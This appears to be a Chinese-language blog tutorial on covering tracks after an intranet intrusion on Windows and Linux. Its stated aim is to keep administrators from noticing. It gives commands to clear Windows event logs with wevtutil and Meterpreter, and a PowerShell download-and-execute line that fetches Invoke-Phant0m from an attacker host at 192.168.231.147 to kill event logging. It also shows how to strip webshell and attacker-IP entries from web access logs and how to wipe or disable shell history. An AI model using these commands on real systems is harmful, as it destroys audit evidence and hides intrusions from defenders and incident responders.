Windows&Linux痕迹清除

文章目录

  • Windows&Linux痕迹清除
  • 前言
  • Windows痕迹清除
  • Windows日志清理
  • meterpreter清理日志
  • Linux痕迹清除
  • 后记

前言

当我们进行内网一系列的渗透之后,就会留下一些命令的痕迹,我们离开的时候,为了防止管理员发现,我们就需要进行内网渗透最后一个环节的内容了,就是进行痕迹清除。命令有点多,大家好好做一下笔记吧。

Windows痕迹清除

Windows日志
如何查看:
事件查看器->windows日志
win+r eventvwr.msc

保存路径:
C:\Windows\System32\winevt\Logs

(1)在控制面板中的管理工具中,本地安全策略中的本地策略中的审核策略一些事件的开启(以管理员身份运行)
(2)在事件查看器中的安全,右键点击属性,查看日志的路径

Windows日志清理

(1)wevtutil.exe:
用于检索有关事件日志和发布者的信息,安装和卸载事件清单,运行查询以及导出,存档和清除日志

#获取security的最近十条日志
wevtutil.exe qe Security /f:text /rd:true /c:10
#获取security的前十条日志
wevtutil.exe qe Security /f:text /c:10
#默认视图xml查看(text视图不会输出EventRecordID)
wevtutil.exe qe Security /rd:true /c:10

#导出security所有日志到1.evtx
wevtutil.exe epl security 1.evtx

wevtutil cl security
wevtutil cl system
wevtutil cl application
wevtutil cl “windows powershell”

有相关的命令可以使用

meterpreter清理日志

(2)meterpreter清理日志(必须是在管理员的权限下才能清除)
删除所有在渗透过程中使用的工具
删除之前添加的账号:net user username /del
删除应用程序,系统安全日志:clearev #分别清除了应用程序,系统和安全模块的日志记录。
关闭所有的meterpreter连接:sessions -K

查看事件日志:run event_manager -i
删除事件日志:run event_manager -c

停止日志记录工具
https://github.com/hlldz/Invoke-Phant0m

日志进程分析工具
Process Hacker 2

利用脚本让日志功能失效,无法记录日志
powershell “IEX(new-object system.net.webclient).downloadstring(‘http://192.168.231.147:8000/Invoke-Phant0m.ps1’);Invoke-Phant0m”

我来大家讲解一下具体的停止日志记录步骤吧
首先,下载Invoke-Phant0m到klai上进行监听,也就是这个脚本


我们放入到kali的tools下

打开python中的http服务进行监听

我们查看一下win7的日志进程是哪个,看PID,打开任务管理器,找window服务主进程,svhost.exe

进入服务后,找到eventlog,看到日志记录的进程时812

进入Process Hacker查看一下进程

点击查看一下进程

我这里是已经显示停止了日志的进程了,因为刚才实验的时候,忘记截图了,没能还原之前的记录了。

之前的是有log记录的,我们已经在kali中监听了,我们返回到win7中执行以下脚本,看看有没有回应
powershell “IEX(new-object system.net.webclient).downloadstring(‘http://192.168.231.147:8000/Invoke-Phant0m.ps1’);Invoke-Phant0m”



这里就显示已经停止了。

这里也返回了回应,实验成功了。这时候,我们创建一个用户,看看在事件查看器中是否记录我们的创建的日志


发现并没有被记录,停止日志记录成功了。

Linux痕迹清除

(清除日志都必须要管理员权限)
ssh远程登录会产生登录日志
last /var/log/wtmp 所成功登录/登出的历史记录
lastb /var/log/btmp 登录号失败尝试记录
lastlog /var/log/lastlog 最近登录记录
w,who /var/log/utmp 记录当前登录的每个用户的信息,它之保留当前连接的用户记录

命令的输出包括:登录名,上次登录时间,IP地址,端口

web日志
/var/log/httpd/access.log
/var/log/nginx/access.log
/var/log/apache2/access.log

web日志清理
(grep -v,剔除某个元素)
cat /var/log/nginx/access.log|grep -v shell.php > /tmp/a.log(重定向的a.log文件)
cat /tmp/a.log > /var/log/nginx/access.log

touch a.txt
vi a.txt
123 456 789
cat a.txt | grep -v 123
cat a.txt | grep -v 123 > b.txt
cat b.txt

sed -i -e “/dvwa/d” ./access.log
sed -i -e “/favicon/d” ./access.log(正则匹配,删除含有某个在字符串的日志)

删除所有与改ip相关的地址删除掉
sed -i -e “/192.168.231.147/d” ./access.log日志

定时任务日志
/var/log/cron:记录了系统定时任务相关的日志(可以用sed命令删除)
/var /log/secure:记录验证和授权方面的信息,只要设计账号和密码的程序都会记录,比如ssh登录,su切换用户,sudo授权,甚至添加用户和修改用户密码都会记录在这个日志文件中。

操作历史记录
history:显示历史记录
~/.bash_history:历史记录文件

history -w
history -c(只是删除了早缓存中的history记录)
cat .bash_history

(写入到.bash_history,-c,清空,>转入到 .bash_history)
删除全部历史记录:history -w && history -c && > .bash_history
history -w && history -c && > ~/.bash_history
删除指定行的历史记录:history -d 111
备份还原历史记录:cp .bash_history his.txt
删除100行以后的历史记录:sed -i “100,$d” .bash_history

隐藏历史记录
开启无痕模式,禁用命令历史记录功能
set +o history
恢复
set -o history

后记

痕迹清除主要还是一些清除的命令,内网渗透的内容就到这里就结束了。接下来有空的话,给大家讲解一下打靶的内容,大家要好好复习呀。